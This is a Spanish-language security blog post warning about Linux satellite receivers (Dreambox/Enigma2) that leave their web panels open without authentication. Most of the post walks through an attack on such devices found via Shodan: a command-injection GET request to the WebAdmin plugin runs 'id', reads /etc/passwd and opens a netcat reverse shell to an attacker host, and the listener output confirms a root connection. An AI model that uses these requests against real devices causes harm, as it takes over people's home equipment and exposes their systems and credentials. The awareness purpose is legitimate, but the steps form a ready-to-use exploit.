RCE en receptores satélite Linux (y sin despeinarse)

Los receptores satélite basados en Linux como Dreambox, EX4, Technomate, Vu+, etc. siguen en auge pero también son uno de los ejemplos más claros del riesgo que tienen los dispositivos IoT en manos de usuarios no técnicos, es decir, la mayoría. Y no me refiero solo a vulnerabilidades concretas si no a fallos o carencias en la configuración tan básicos como el uso de contraseñas por defecto o vacías o incluso el acceso por defecto a paneles de control sin necesidad de autenticación, y eso es normalmente culpa en gran parte de los fabricantes.

Ya lo hemos visto en más de una ocasión en varios receptores, y hasta algunos vienen de fábrica con el acceso telnet o ssh habilitados y la contraseña de root en blanco... el resultado es que cualquier exposición del dispositivo en Internet abre una puerta inmediata a cualquier atacante, que entraría en nuestra casa, hasta la cocina... literalmente.

Con esto no quiero decir que el usuario no tenga que preocuparse de la seguridad de sus dispositivos y más si están expuestos en Internet, es más, hemos visto receptores con roms "cocinadas" cuya instalación requiere una serie de pasos nada sencillos... pero sin embargo, a menudo olvidamos modificar una simple contraseña. Así que este post va de eso, de intentar concienciarnos de que debemos gastar un minuto en mejorar y/o verificar la seguridad de cada uno de nuestros electrodomésticos (en este caso receptores satélite basados en Linux) porque precisamente ya no son simples electrodométicos... les llaman "inteligentes".

En nuestro ejemplo trataremos con receptores DVB satélite Linux de una de las marcas más famosas: Dreambox. Una simple búsqueda en Shodan nos dará acceso a la página web de control de más de un centenar de receptores con Linux Enigma2:


Del resultado obtenido seleccionaremos uno bastante actualizado como podéis comprobar en la siguiente imagen :

http://IPVULNERABLE:8081/#!/extras


Quizás os habréis percatado también que en el panel lateral que existe el Plugin WebAdmin. A través de éste, podemos ejecutar comandos en el sistema con una simple petición GET:

http://IPVULNERABLE:8081/webadmin/script?command=|id


Wow! el web server se ejecuta directamente como root!

Podemos curiosear un poco:

http://IPVULNERABLE:8081/webadmin/script?command=|cat%20/etc/passwd


Y, por qué no, conseguir una shell reversa porque incluso ya disponemos de wget y hasta nc ... lol!:


http://IPVULNERABLE:8081/webadmin/script?command=|nc%20IPATACANTE

...

# nc -nlvp 443
Listening on [0.0.0.0] (family 0, port 443)
Connection from [IPVULNERABLE] port 443 [tcp/*] accepted (family 2, sport 4711) 
...

Comentarios